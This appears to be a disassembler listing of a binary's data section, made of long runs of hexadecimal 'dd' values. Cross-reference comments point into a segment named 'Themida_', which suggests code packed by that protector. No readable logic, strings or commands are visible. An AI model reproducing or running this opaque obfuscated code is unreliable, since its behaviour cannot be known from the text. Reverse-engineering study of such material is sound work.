		dd 1A04825h, 0EA000000h, 4F437A32h, 0D0AA5EDDh,	0E9FEE217h
		dd 8F83BA72h, 2C691E9Dh, 54DFFC78h, 0EB7E72AFh,	4CF43DD4h
		dd 69229915h, 97BBF499h, 7E328523h, 0DAC6FBA4h,	6B607A56h
		dd 0EE93EE36h, 7865C1B5h, 99AE5DB2h, 0FF36EEEDh, 7CB96EEDh
		dd 0CFCFAC88h, 904AE97Ah, 1307BB6Eh, 83DF6DCCh,	1300C269h
		dd 88E46DCCh, 544E873h,	0E419D249h, 0BBF49930h,	0DD1CD0C7h
		dd 0B9FBB229h, 0AB106AEh, 867A56B1h, 0AD13B2D1h, 0CD28C7FCh
		dd 336B0814h, 0D512B584h, 7850F8h, 32BA0000h, 34533F7Eh
		dd 0BF7A548Dh, 0A3E7C60Ch, 1A9B4E70h, 11E64A36h, 0AA495A15h
		dd 0C09AD98Bh, 2A691B9Eh, 0B70BFA76h, 4F6DCCB7h, 0B940F6D3h
		dd 522CD817h, 0D4A9E287h, 7A316407h, 6DCCB7C8h,	6014302Ch
		dd 0E57C37h, 336A68BDh,	519Dh, 4D7EF00h, 0F36F235Eh, 6CAB5DD6h
		dd 296D21B8h, 5E45F73h,	25DC5B30h, 183C38ECh, 13B2916Ch
		dd 4D1F5E12h, 0BD9ADB8Eh, 7A3273F9h, 0BF084F43h, 806DCC7Ch
		dd 6C45A03Fh, 4C336B35h, 12h, 0B5A07972h, 493029B3h, 3325E062h
		dd 4C280492h, 4D7952Fh,	0F470245Dh, 6CA55CD7h, 356A21B8h
		dd 59C5741h, 0B02C651Ch, 6A21C453h, 6DCC7CD8h, 0EA04E03Ch
		dd 0FC06DA3Fh, 0C4B0AC67h, 75E91EC5h, 63FF3DE6h, 0C0D3F852h
		dd 9AC1B591h, 94235D2Ah, 38F99827h, 0FCDE5A8Fh,	584C8B3Dh
		dd 8B34FFDCh, 742BAA56h, 0CFC3FEA4h, 5D14AE5Dh,	74F09423h
		dd 0CB807450h, 90BD19B8h, 7017FAB6h, 0FEEB473Bh, 2CAB08B9h
		dd 961D3A77h, 1A04B8EDh, 0B44DA331h, 9267D701h,	7B4F448Dh
		dd 17A2439h, 311A0000h,	0A3A56AB2h, 1CA8C510h, 4C1EBD5Ch
		dd 0FC266C5Dh, 0F8735867h, 0EFC67A5h, 0C3909463h, 2D49EE13h
		dd 22CE4A50h, 13C7FCA3h, 0EE545729h, 694233Ah, 0DD864D2Ah
		dd 26DDFCA8h, 334805F1h, 0B9EE959Ch, 0EF773A05h, 6157397Bh
		dd 0B5000000h, 0F94996D7h, 9706CD12h, 439823C2h, 56E08229h
		dd 8D04EDCCh, 0D0C4A0D7h, 0CC563989h, 357016EDh, 6AA34A41h
		dd 59C03B6h, 50EF90B7h,	0E1FBE0FBh, 8A81B65Ah, 0EDCC5638h
		dd 0E56480DCh, 0EF20740h, 0CC56871Bh, 87431F6Dh, 0DF1Eh
		dd 7D3C2200h, 259D8CCBh, 0C16DCC56h, 38EC21CAh,	6943183Ch
		dd 8128BD5Ch, 6DCC7CC1h, 0C0F5AE25h, 0BDAEC0A4h, 7A409717h
		dd 599A4BC9h, 6678607Dh, 0E1F62DD3h, 0FC35412Ah, 3DE94567h
		dd 7215E59Eh, 1E54135h,	337A734Dh, 79982460h, 7B24AFCCh
		dd 8315D83Dh, 0F5B4C7B2h, 943C7F4Dh, 0CDA9CDA9h, 7E3792D9h
		dd 502C943Ch, 7EC77B2Eh, 0A81F943Ch, 0CFACC801h, 8F7155ECh
		dd 3C7E269Ch, 1655F794h, 66ED0A66h, 6FD488BDh, 5C32D868h
		dd 998D69A8h, 0B9A7B99Dh, 28272B94h, 954B337Ah,	92AEB25Eh
		dd 3F337013h, 321D06E3h, 0CC9E0760h, 7E25A450h,	754B5D49h
		dd 2022A08Bh, 66C29E15h, 3C13B291h, 0C4FFA39Dh,	5E7054D0h
		dd 0E415B980h, 15209D25h, 0D9FD799Eh, 7734492Dh, 942E915Ch
		dd 68FEBAB6h, 715BD5Ch,	84585023h, 0C2AAD704h, 8767DDB1h
		dd 0BF9A916Bh, 5767F707h, 865527DBh, 49AC9DDFh,	9174D3A7h
		dd 641B98B5h, 43FC7B2Fh, 0A633620Eh, 5D2B603Bh,	0B02BAF46h
		dd 62E0CBF8h, 82CB68CFh, 26ADCAA6h, 594487Dh, 5E7D295Eh
		dd 6C926CA9h, 0CFB3CEDh, 0CB68CFB6h, 9F5D24Eh, 0E44DE49Fh
		dd 0C352063Bh, 413BE71Ch, 0E69AD37Ah, 3F46D8Ah,	48000000h
		dd 80326D5Fh, 9952493Dh, 7519B064h, 9E4F463Ah, 7E32A95Dh
		dd 9034533Fh, 8126A551h, 94395044h, 7830A75Bh, 56CF5541h
		dd 0C681E689h, 4, 5604EE83h, 42474FFh, 24048F5Eh, 0E689565Ch
		dd 4C681h, 0EE810000h, 4, 5C243487h, 56242C89h,	0C681E689h
		dd 4, 8704EE83h, 895C2434h, 0EC812404h,	4, 0BB241C89h
		dd 61751C6h, 685BDD89h,	1F98h, 81242489h, 42404h, 81580000h
		dd 4ECh, 242C8900h, 0FF08408Fh,	81582434h, 4C4h, 2434FF00h
		dd 4C4835Dh, 0F92933E9h, 58A120FFh, 81270C4Fh, 9791EFA1h
		dd 56B8B883h, 0C5030617h, 531DE0FFh, 2A5A0F26h,	0FDFA2E93h
		dd 9374756Ch, 8E9B07E4h, 90BA320Ah, 0D4F3386Ah,	94A6732Ah
		dd 402B7D64h, 1AC04194h, 8711424h, 0E10D3A9Dh, 2E6E3BB2h
		dd 0A86B73CDh, 0EB712392h, 0AA465EC9h, 5D167838h, 0E35839EFh
		dd 13E86AF1h, 35000000h, 3B319EA4h, 2537662Ch, 672D0C3Dh
		dd 210A55A1h, 0FE94DD0h, 0DA000000h, 0EDE810B0h, 0AA11DA75h
		dd 0E49B8E58h, 0F5816CFh, 0C081D8BFh, 6F28h, 82BFCA8Bh
		dd 0E800001Bh, 0Dh, 4D7893E7h, 0B590EA08h, 52F46208h, 11E8AFh
		dd 4CFF0000h, 6422E99Eh, 0AD636F7Ah, 4D044876h,	0F59225Ch
		dd 87h,	0FF5A5B00h, 5ECDB630h, 7E06BA66h, 0F064EE81h, 8B660934h
		dd 7BEE81CAh, 0E9020F9Eh, 0Ah, 934F25F9h, 0DE561F00h, 0F68196EAh
		dd 5C75F339h, 9CDB8166h, 12E956FCh, 54000000h, 0F3152BF1h
		dd 0ABFBB08Bh, 0DC562DD5h, 4764756Fh, 0F008F3Dh, 68Ch
		dd 3ACB8100h, 8363D67Fh, 0BE903E8h, 0E000000h, 8611FEABh
		dd 600E2DDDh, 0F4842A7h, 0EF81DBBFh, 1,	1A850Fh, 0BA660000h
		dd 38E9A5CDh, 75000000h, 4A06F2B3h, 25ECD6ACh, 89D24804h
		dd 0A0B29521h, 0AE8h, 0DCC7BF00h, 5999A46Eh, 66E58CA3h
		dd 6D80EB81h, 0FF51E95Bh, 0AB93FFFFh, 0DBDEA94Dh, 0B37C077Ch
		dd 0E846046Bh, 0Ah, 5D933AF1h, 4DF57707h, 0B70FECC3h, 10E95BF8h
		dd 81000000h, 8A5E14EDh, 72FB698Bh, 3DA1BF8Fh, 815E49D0h
		dd 7173C3h, 33D38A00h, 8BF18BC9h, 9E90B04h, 89000000h
		dd 0CE487033h, 0F6818263h, 0E4AFF081h, 0B70F1926h, 17C081F6h
		dd 0BA6211F1h, 1E771E9Eh, 6E70F081h, 0BE66332Fh, 489EE45h
		dd 5E9F90Bh, 0A0000000h, 4312F810h, 4901E983h, 0F9814949h
		dd 0FFFF8F20h, 0FFB1850Fh, 13E8FFFFh, 84000000h, 0D6450235h
		dd 0FB300D4Bh, 8D25072Bh, 0FD953A8Bh, 8B5FFEE7h, 8DBD83C0h
		dd 61015h, 0BD830975h, 6100095h, 50197400h, 0B8C08B53h
		dd 421h, 0E658589h, 9D8D0610h, 612B815h, 585BD3FFh, 95BD83h
		dd 74000610h, 0B8535017h, 421h,	0E658589h, 9D8D0610h, 612B504h
		dd 585BD3FFh, 9D8BC08Bh, 6101FD5h, 23E585C6h, 68560610h
		dd 9CA8B852h, 1D45B5FFh
		dd 858D0610h, 613858Ah,	46AD0FFh, 100068h, 0D9B5FF00h
		dd 6A061032h, 85D0FF00h, 0D850FC0h, 0B8000000h,	0
		dd 73A38D8Dh, 0E1FF0610h, 0C38BC88Bh, 53C4003h,	0F8h, 30C508Bh
		dd 51BD83D3h, 6100Fh, 0E840Fh, 9D8B0000h, 6100F51h, 15E9858Bh
		dd 3890610h, 858D5251h,	61042D8h, 0FA8BD0FFh, 0D18BF18Bh
		dd 0A4F3C88Bh, 23E585C6h, 68560610h, 0D41F6D39h, 1D45B5FFh
		dd 858D0610h, 613858Ah,	68D0FFh, 6A000080h, 0D0FF5200h
		dd 0BD83C08Bh, 610158Dh, 83097500h, 100095BDh, 19740006h
		dd 0C08B5350h, 421B8h, 2D858900h, 8D061013h, 12B87C9Dh
		dd 5BD3FF06h, 95BD8358h, 61000h, 53501774h, 421B8h, 2D858900h
		dd 8D061013h, 12B51D9Dh, 5BD3FF06h, 8DC08B58h, 100F519Dh
		dd 0B038B06h, 7840FC0h,	8B000000h, 45B8B03h, 41B81889h
		dd 0E800004Bh, 13h, 0BA275FAFh,	0A4F41CA7h, 0B42FC4FFh
		dd 0DE195556h, 813B7D8Bh, 4ED29CE2h, 11E85842h,	32000000h
		dd 0C2375D03h, 7139A374h, 0B0739AA4h, 2E049393h, 28D0Fh
		dd 61600000h, 11C0815Ah, 660000E8h, 681D07BFh, 0
		dd 0DE8A6060h, 61615B51h, 89E6805Eh, 0F0634FFh,	0A85h
		dd 4850F00h, 66000000h,	590351BFh, 6ED38166h, 0B9E981CAh
		dd 0F9267F66h, 4783F181h, 0BF6620A7h, 0C181CEE8h, 2ACCC123h
		dd 0E69FDB81h, 665107FCh, 8FD521BAh, 0FE8B3004h, 68B0Fh
		dd 0DF810000h, 1750A196h, 0F0B6EE81h, 0BF665D7Ah, 0C6815AA0h
		dd 5D7AF0B2h, 810FDF80h, 0FF18ACFEh, 95850FFFh,	8AFFFFFFh
		dd 9E8DCh, 0E1130000h, 840794B2h, 0E9A4F5DCh, 0Fh, 6FE0DD6Bh
		dd 3AE4A8A9h, 1CF20108h, 5E541D51h, 38C681FCh, 0F000066h
		dd 385h, 0C9B70F00h, 68h, 0DE96000h, 49000000h,	8344C586h
		dd 0D0956F7Ch, 0EC316951h, 61D78B66h, 14E95Bh, 473E0000h
		dd 0AAD27B67h, 9A3F409Bh, 8E55CD3Ch, 2874B18Eh,	34FF74B7h
		dd 0CE933h, 0FEDC0000h,	0D100455Ch, 79A60EBh, 0FC58A07Ah
		dd 0FDD5F081h, 81F5276Bh, 0D83FA7F0h, 0ABE1800Dh, 0AF61E881h
		dd 14E8602Fh, 55000000h, 4F525438h, 3EB2F386h, 1EF29B2Ch
		dd 45EA57E1h, 665FC80Eh, 5A4EB0BFh, 1E048F50h, 14E9h, 4CC9FF00h
		dd 0A36CDE00h, 0DAFD8631h, 4E98B989h, 62517BFCh, 2BB9BA23h
		dd 0EB830CC1h, 0F88B6602h, 80604B4Bh, 8E90ACFh,	92000000h
		dd 0DB2F0DBh, 610739B1h, 9B00FB81h, 850FFFFFh, 26h, 10E9h
		dd 0FAF7CF00h, 7A2BD0EFh, 0D784E00Ch, 55919D25h, 2CE9FAh
		dd 64C90000h, 1A2F4A9Bh, 0CB2D885Dh, 5E8C403h, 99000000h
		dd 5BC25CEDh, 6503D981h, 0E95F50ECh, 0FFFFFF32h, 62774E95h
		dd 95B10D9h, 8D8D3A8Eh,	6175D98h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 0B5C35545h,	8D894DBAh, 61009F5h
		dd 5860F51h, 0BA000000h, 10AA1161h, 0F08B665Fh,	231985C7h
		dd 683C0610h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 346F75C3h, 238D4D47h, 85C76772h
		dd 61022C1h, 0
		dd 1C41BD89h, 0B5FF0610h, 61030C5h, 0D8816660h,	8D31FFBDh
		dd 6102EFDh, 8E96061h, 0FC000000h, 4DD54B1Eh, 610EB223h
		dd 2DB995FFh, 6A0610h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 2C7206C3h, 0BB666ECFh, 0E781540Eh
		dd 1FEB57BBh, 95FF006Ah
		db 0C9h, 31h, 10h
byte_5C1203	db 6			; DATA XREF: Themida_:0054D0ACo
					; Themida_:0054E368o
		dd 3CEBC08Bh, 3746288h,	88A82DFFh, 92654B8Eh, 90A1689Dh
		dd 0E411EC62h, 608091Dh, 3C978420h, 0F2D0E058h,	47A8F2B5h
		dd 0A0C26B21h, 73A1DDB2h, 9CE67581h, 0F211F234h, 0C835AA8Ch
		dd 0F9F8FD2Ch, 5E598D8Dh, 6A0617h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 0B74DA1C3h, 0C6349003h
		dd 0B19D8B62h, 8906101Fh, 1009F58Dh, 418D2906h,	0C706100Dh
		dd 10231985h, 653406h, 59BD8900h, 0C7061011h, 1022C185h
		dd 6, 8DBD8900h, 89061029h, 10336D8Dh, 0A1B5FF06h, 0FC061008h
		dd 2DB995FFh, 29570610h, 1020A98Dh, 0B70F5F06h,	0FF006AD8h
		dd 1031C995h
dword_5C12C4	dd 0EBC08B06h, 243DCD5Fh, 82D050B7h, 28879AE0h,	0CD60C30h
					; DATA XREF: Themida_:0054DF04o
					; Themida_:0054E7D8o
		dd 0D0E3AEBCh, 80FE38BFh, 0A40182E3h, 0CB96FDAAh, 0B01EF392h
		dd 9163B314h, 0F03C4A3h, 1047A1E9h, 0F7369AF9h,	0C670F1ABh
		dd 0D1662E96h, 0D9EB7851h, 3E2CB32Fh, 0B48FE166h, 0F3628176h
		dd 0E2A867EEh, 0E3767663h, 0B49EB158h, 0A17877h, 63F38D1Dh
		dd 3BE9h, 0BD8B6000h, 61030A9h,	3304EF83h, 0BBC18BC9h
		dd 0EDB88320h, 0BE04C783h, 8, 0D21BE8D1h, 0C233D323h, 0F1850F4Eh
		dd 41FFFFFFh, 0F9810789h, 100h,	0FFD3820Fh, 0C361FFFFh
		dd 9D8DC88Bh, 6102FC5h,	13A8B8h, 0D9858900h, 0E806101Eh
		dd 0
		dd 0D0558h, 3890000h, 13A8E9h
		db 0
byte_5C138D	db 3 dup(0)		; DATA XREF: Themida_:0054E430o
		dd 4E7h	dup(0)
		db 0
byte_5C272D	db 3 dup(0)		; DATA XREF: Themida_:0054C37Co
		dd 0
		dd 9FE900h, 0C3630000h,	974DCC80h, 0B86DEC60h, 974CCB7Fh
		dd 0B557DE5Ah, 0B8C4C276h, 0F367A64Ah, 0CC80C164h, 0EA5E994Dh
		dd 0CB7FB46Bh, 952DDCE0h, 716BDB0Eh, 7D32A874h,	0DAC601A5h
		dd 0BD867A56h, 0B02C691Eh, 0CC7C4EF9h, 0F315B16Dh, 8CFA6D8Ah
		dd 719237B1h, 92F112F3h, 0C5Ah,	215FB200h, 0C464F2Ch, 5774A7F0h
		dd 3D8032CDh, 64995249h, 3A7519B0h, 5D9E4F46h, 3F7E32A9h
		dd 51903453h, 448126A5h, 5B943950h, 417830A7h, 0CF68CF55h
		dd 0E9061772h, 0FFF90D0Ch, 75EF85B2h, 8B8131E4h, 0E1205DEh
		dd 41CAFE9Fh, 26A80D8Bh, 8C8A4903h, 0ABA80D8Bh,	6475EAD5h
		dd 2CA80D88h, 0BA8A4900h, 9957AE5Dh, 548A4900h,	0ABA80D89h
		dd 1F75EAD5h, 0CFA80D89h, 998A4901h, 49A80D89h,	138A4906h
		dd 0ABA80D8Eh, 2575EAD5h, 2031D42Fh, 0C003133Dh, 52BF22D2h
		dd 308D90A7h, 0D12157B5h, 439D665Eh, 21F6D42Fh,	0C003133Dh
		dd 52BF22DAh, 303C90A7h, 0D12157B5h, 439D66AAh,	22A5D42Fh
		dd 0C003133Dh, 52BF2226h, 33E890A7h, 0D12157B5h, 439D66A6h
		dd 220ED42Fh, 0C003133Dh, 52BF2232h, 336590A7h,	0D12157B5h
		dd 439D66B2h, 2398D42Fh, 0C003133Dh, 52BF223Eh,	32FB90A7h
		dd 0D12157B5h, 439D668Ah, 231AD42Fh, 0C003133Dh, 52BF2206h
		dd 326190A7h, 0D12157B5h, 439D6682h, 5012B8C3h,	0CEDF152Ah
		dd 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 52FE46C0h, 0A8ED96A4h
		dd 458A152Ah, 67A02429h, 0BAB496E3h, 54A1D5ADh,	0C6CB152Ah
		dd 0BA415564h, 0CE75EAD5h, 0B13AAE63h, 848C0534h, 11AB5342h
		dd 55FFEA22h, 0ABA4245Dh, 0B9CF9C3Ah, 0A8EDDAC3h, 4586D7E3h
		dd 0D744DAF7h, 0CEEAE9EEh, 292359D7h, 0B9CFD226h, 54A851A2h
		dd 4162AD6Ch, 660351A2h, 0EE27BFEAh, 0DDA7DB2Fh, 9475133Dh
		dd 0D9020112h, 52031AA0h, 0EC79AEA4h, 41AE51A1h, 5B22DC09h
		dd 0BA8C02A3h, 0DF103773h, 0C821732Ah, 43215E28h, 0FD5BEA2Ch
		dd 508C152Bh, 4A009881h, 0ABAE462Bh, 0EFD2A5FBh, 0DDA42C89h
		dd 0CEEBE957h, 9661ADE7h, 0CEDF1522h, 0A86CD24Eh, 458AFD4Ah
		dd 0D5F251A2h, 52FF06C0h, 5CDDDAA4h, 828668A1h,	54A8ADE7h
		dd 0BACC152Ah, 44B4F030h, 0CE529E2Ch, 9783FC69h, 0EFE2A5B9h
		dd 0D9F9FA31h, 52031AA0h, 0D79AEA4h, 2320949Ah,	328C551Ah
		dd 6E218481h, 29215DDFh, 174D6h, 5C6A985Eh, 0A901402Ah
		dd 34549521h, 458A15C2h, 0BE290BA2h, 439D6040h,	0DFA02429h
		dd 4D1957h, 54A8515Eh, 0D775532Ah, 52B84D03h, 0CE19CDA1h
		dd 979BFC69h, 0EFE2A5B9h, 0D9F9FA31h, 52031AA0h, 0D79AEA4h
		dd 2320949Ah, 328C651Ah, 6E218481h, 29215DDFh, 174D6h
		dd 5C6A985Eh, 0A901402Ah, 34549521h, 0CE8260A1h, 116F5DDFh
		dd 458A15D6h, 953BFDA2h, 97B91DC9h, 0DE049191h,	454A38F2h
		dd 0A82851A2h, 5E0E1AD5h, 0EDA851A2h, 458A1523h, 862DA055h
		dd 45869025h, 0A32851A2h, 8E4B7332h, 972337AAh,	38A1BE4Ch
		dd 0A8D5D8AEh, 0B9CF9E4Bh, 54A0936Bh, 0C6669E7Fh, 0DFC8AD66h
		dd 38011D5Fh, 0A8ED96AEh, 458A152Ah, 0B769C20Eh, 76582622h
		dd 8C22FD62h, 458AD507h, 0AB54D1A2h, 45939125h,	5D1151A2h
		dd 0B28A152Ah, 5B7AD453h, 458A1FAFh, 5610E0A2h,	0EF4B93E2h
		dd 7F039191h, 38031957h, 1123305Eh, 4D48DCD6h, 0B82304A2h
		dd 2576D1A9h, 0DFA02429h, 4D1957h, 54A8515Eh, 9D00B92Ah
		dd 0D4A7B222h, 860085E1h, 5B22DC08h, 0BA8C02A3h, 0FEF8E173h
		dd 0CC859FA7h, 855757B5h, 6E20D6A0h, 29215DDFh,	174D6h
		dd 5C6A985Eh, 0A901402Ah, 34549521h, 0CE8260A1h, 116F5DDFh
		dd 458A15D6h, 54AFE9A2h, 0D775152Ah, 52B84F47h,	0C8204526h
		dd 43215E28h, 0F55BEA2Ch, 949BFB2Bh, 2E853186h,	50AC5962h
		dd 0EFAEA580h, 0DDA42C89h, 0CEEBE957h, 9661ADE7h, 0CEDF1522h
		dd 0A86CD24Eh, 4DFF9E4Ah, 93A42C29h, 458AE96Fh,	0FE0451A2h
		dd 592B87D5h, 8C2357B2h, 0EF491786h, 0DDA7DB2Fh, 9475133Dh
		dd 0BD28E9C4h, 8600BE4Ch, 58D57A08h, 247668A3h,	9D541429h
		dd 108A1DE8h, 902BBD29h, 300175D6h, 58D5DAAAh, 457650EDh
		dd 0F8A851A2h, 0E418EA80h, 0DFAE41BEh, 8558B9E2h, 5B32DC08h
		dd 0BA8C02A3h, 94103771h, 0CF2173E3h, 2983FB63h, 0B9F79C26h
		dd 0A8EDDAC3h, 4582D7E3h, 0D744DAF7h, 0CEEAE9EEh, 292359D7h
		dd 0B9CFD226h, 54A851A2h, 0D775BF86h, 52B84D03h, 7726DDA1h
		dd 0CE25FB63h, 439D9C25h, 0ECCE825Dh, 0EEECE4AAh, 7F029028h
		dd 38031957h, 1123305Eh, 4D48DCD6h, 0B82304A2h,	2576D1A9h
		dd 0DFA02429h, 4D1957h,	54A8515Eh, 7732732Ah, 0D903376Bh
		dd 52031AB0h, 327BAEA4h, 234B9592h, 0FE04FD09h,	0CC866801h
		dd 0DFC9ADDFh, 8743E96Fh, 0DFFD51AAh, 0B94E96C6h, 5CDDDAC2h
		dd 828668A1h, 54A8ADE7h, 0FDEC152Ah, 0FFCEB824h, 0CC858FA7h
		dd 875757B5h, 320A09Ah,	0CE25FB0Eh, 439D9C25h, 0ECCE825Dh
		dd 0EEECD8ACh, 0DDA42C89h, 0CEEBE957h, 9661ADE7h, 0CEDF1522h
		dd 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 52F22EC0h, 0A8ED96A4h
		dd 458A152Ah, 0DFA02429h, 79261957h, 1E2C5E91h,	798A152Ah
		dd 162C5E89h, 798A152Ah, 492C5ECAh, 798A152Ah, 382C5E13h
		dd 798A152Ah, 5C2A5EF2h, 798A152Ah, 6B2A5EFAh, 0AC8A152Ah
		dd 54A851D6h, 0BA8660D5h, 0CE2559D7h, 439D665Ah, 1332DCF1h
		dd 0BA8C025Eh, 0A8EDD871h, 458A42C3h, 58DDAEA2h, 0C88260D5h
		dd 43DBD138h, 0DF07462Ch, 52BF25E5h, 3C6D5h, 5492B85Eh
		dd 3075152Ah, 5CDDAEAEh, 36068FA7h, 0D9FB57B5h,	52FE52B0h
		dd 0DD7BAEA4h, 5863E96Fh, 0ABA851A2h, 3075195Fh, 0CC32DCAAh
		dd 168C0259h, 20EFCB2Fh, 9675133Dh, 0BD54142Bh,	458A152Ah
		dd 0A8EDDAC3h, 4582D7E3h, 3044BAh, 0C00CEB00h, 0F355F392h
		dd 955E6572h, 0E992D690h, 662h,	656E9h,	2F721400h, 0D44FC7Bh
		dd 0EA23CA51h, 744E76Eh, 0E120C453h, 0D1037F6Dh, 0ED6CE01Fh
		dd 0B83FFB3Ch, 0D463D712h, 4742F62Bh, 50CB675h,	0BE86BDBh
		dd 44793241h, 900DE50h,	6DCC7CB9h, 6FEC015Dh, 83FE5BBh
		dd 0F0A138ECh, 20C4C3AFh, 755F9D46h, 0E5DEA77h,	3B37EB07h
		dd 0B86C6B17h, 590E8D79h, 6D1C421Ch, 6DCC4CD5h,	4CA61C0Fh
		dd 0E23E6DCCh, 0F151382Ah, 156DCC4Ch, 5E203D19h, 0C480C267h
		dd 154697DCh, 2B203A16h, 933FB620h, 84F3C80Fh, 6C834C71h
		dd 0BE0407D9h, 566DCCA3h, 8A01FDDAh, 0AD1ABE2h,	0FC782C61h
		dd 43D21FDFh, 0D27349FDh, 6581E591h, 0BF91B5B1h, 0CDE2ACA1h
		dd 0E2AE7E7Dh, 14B81E05h, 0E84467F7h, 0AFE89D3Ch, 4C3F21FBh
		dd 942514F6h, 9BD0770Eh, 7419A2B7h, 14FC4645h, 1C189425h
		dd 14FB4742h, 3F1B9425h, 0E3FD6F23h, 14B40EFDh,	0D4509425h
		dd 25149D25h, 0E0FD7994h, 0C157E223h, 0F433D528h, 0AAE58900h
		dd 851C03F6h, 0A43B6437h, 4A8C2922h, 97F8C9CFh,	1B54F9C2h
		dd 8DB3429Fh, 30BBA0D7h, 921A2F06h, 5554264Ah, 0C1F249F5h
		dd 0F611511h, 8358994Ch, 63D712B8h, 0FFF32ED4h,	0B4E01958h
		dd 56EDD64Bh, 6CE01BCFh, 1DB0017h, 87BAE10Ah, 0DE5D8320h
		dd 873BEA2Bh, 3D2CA70Eh, 0A70EF44Eh, 5C14102Ch,	0B4139FF7h
		dd 3D195343h, 0ECFE5A20h, 8AB1712h, 0B0162CA7h,	7F9AA74Bh
		dd 4BBD2CAh, 233F23CFh,	0B5115846h, 582CA794h, 9061841Bh
		dd 70F1FF4Dh, 0Ch, 0DE15CB8Eh, 88404309h, 8C000003h
		dd 55417C32h, 6DAC60DBh, 0E9FE37EEh, 8E82BB72h,	7D26B587h
		dd 0A2BEF9ADh, 0C65572EEh, 0E9C2AB2Fh, 0DCA86A1Dh, 47FBAEC0h
		dd 9F6DCC6Ch, 792DA6C3h, 0ABC7FCA3h, 0C702A82Fh, 251BB8B5h
		dd 423E1D40h, 0F5E2017Ah, 0E6032561h, 26054638h, 990331F0h
		dd 0CC96805Dh, 0AC750CB7h, 7CC6C5F6h, 986DCCD0h, 7504B89Ch
		dd 88C597D0h, 5B111BB0h, 0C7F47024h, 0B190DACBh, 4E01A611h
		dd 0BC6A7F63h, 792D6A1Dh, 27CA916Fh, 0E99B3AE6h, 567AF6AAh
		dd 0C703A281h, 5F134EF4h, 0B86DE603h, 1A20A289h, 68C46DCCh
		dd 10043BF1h, 2D1E3014h, 0FAA0C4B7h, 0CD916609h, 0B87C0F1Eh
		dd 41E675F1h, 37141004h, 7789C87Ch, 0E023FE4h, 0FA813512h
		dd 6B6A1657h, 230270BAh, 2EE221C3h, 0AC9F0532h,	21458026h
		dd 851E5145h, 65A647EEh, 0D480E9h, 0B9800000h, 2A02D718h
		dd 421CC35Ch, 53C20009h, 7E5B0305h, 2D620980h, 4A832AB1h
		dd 0B355E456h, 16AC5774h, 346DCC5Fh, 0DD65243Ah, 396DCC5Fh
		dd 8420D734h, 7EB5C75h,	73B251F2h, 92BB95CEh, 0B1F71168h
		dd 249AAF4Eh, 0BFB3F495h, 36EA1FC8h, 0AE62D983h, 2AC95A6Fh
		dd 47195A0Bh, 440B1B06h, 688523DFh, 0EAC667EEh,	3BE70B42h
		dd 0D66C1F41h, 2E6DCC29h, 0CBB7F497h, 17CC8B67h, 9236FDDAh
		dd 80289F53h, 863E5D49h, 3B4A34Fh, 3BF6606Ch, 8BCC7DA4h
		dd 65A448CFh, 0BD6AFDB1h, 578C3309h, 0F7ABC7ABh, 38EC2DE0h
		dd 507C13AEh, 83A241D0h, 0AF26A2E1h, 85D4C0FBh,	6DCC2938h
		dd 38F99827h, 0F9E35792h, 299E24E7h, 55546DCCh,	6DCC29EDh
		dd 0F9752D09h, 7C3248E4h, 90365541h, 822AA155h,	8740574Bh
		dd 7D349E52h, 7E1DDAE6h, 4D883EE7h, 141DA91h, 46396DCCh
		dd 336B2E6Ah, 0FFFF074Ch, 0BD5CBEFFh, 3C5D4C1Eh, 0CA67FC0Ch
		dd 11C8A24Eh, 0EF731F60h, 75AA61DAh, 548942B9h,	498629A0h
		dd 0E281225Dh, 14CC9C43h, 0B645F9DDh, 7D2CD80Dh, 94238CC0h
		dd 4AEB8A19h, 0C7926CA1h, 490DEA21h, 0AE419D2h,	0B5619A4Fh
		dd 90EA9CB1h, 39ED22C9h, 36BD203Dh, 3BE0CBA5h, 0CB9E13D6h
		dd 6F86DB4Fh, 3BEE1BD1h, 9E13BA87h, 3DF035Fh, 339442E9h
		dd 304E9428h, 431C979h,	1C312D80h, 7F160A66h, 7854F5CBh
		dd 84E094D5h, 0B7027B60h, 8C72D051h, 0C165F468h, 534A087Dh
		dd 0BFA36BBDh, 0AA4384D3h, 33C43CE0h, 1BF1959Ch, 58532D66h
		dd 0F4282DEAh, 76320E0Ah, 386F15A4h, 0B4F59823h, 0EA25C9C0h
		dd 0ED136D36h, 282D843Eh, 0DDEF2BF4h, 1E694A6Ch, 46D5F26Eh
		dd 71874AAFh, 0C0679986h, 59000000h, 3EF2EE2h, 0C4A0E184h
		dd 4D71DA7h, 8E45225Fh,	0A0CD9FD6h, 0CA27C534h,	0F9BD9AC5h
		dd 1692CB82h, 0FBAFEC9Fh, 9893C87Ch, 6DCCA52Ah,	0B6724ECAh
		dd 0DA4E8D3Fh, 0F569AA5Bh, 9C8FC066h, 6DCCA526h, 6C7E62BEh
		dd 5BD6C92h, 0E16DCCA5h, 0A52C9685h, 63C86DCCh,	0ECCA58Fh
		dd 0B76E52A2h, 3A04D912h, 5BCF04BBh, 16AC5F81h,	276DCC67h
		dd 0D7534B80h, 62973902h, 10F734D7h, 6DCC67B2h,	0A85FD652h
		dd 0B8A34F73h, 0FF34EBEAh, 53F28113h, 5A845A66h, 0CC6713AFh
		dd 6277F36Dh, 0CC6719A9h, 0AD21FD6Dh, 97F3E4C2h, 49000000h
		dd 7C68CBE0h, 29D86DCCh, 0E289508Ah, 84F6D0ADh,	2DD90EB5h
		dd 32983449h, 1087437Ah, 2DAC2059h, 9F813D7Ah, 533F0CAEh
		dd 0F1989A2Dh, 0F4BF9CB8h, 1E9D1150h, 28AF2B6Ah, 11884485h
		dd 0C57D2C5Dh, 216DCC68h, 8C4F2145h, 8DE99DD4h,	0EA14E670h
		dd 0CC68833Fh, 0F207636Dh, 738DC269h, 11E5427Ah, 638819DCh
		dd 8316B049h, 4E08E541h, 25D5h,	0C805DB00h, 2D830CD0h
		dd 0FE443392h, 166DCC70h, 0CD3D2D1Ah, 82E9E216h, 215FDF65h
		dd 7CF64C3Fh, 120E6DCCh, 80326F35h, 9952493Dh, 7519B064h
		dd 9E4F463Ah, 7E32A95Dh, 9034533Fh, 8126A551h, 94395044h
		dd 7830A75Bh, 51CF5541h, 0C181E189h, 4,	4BB53h,	0D9290000h
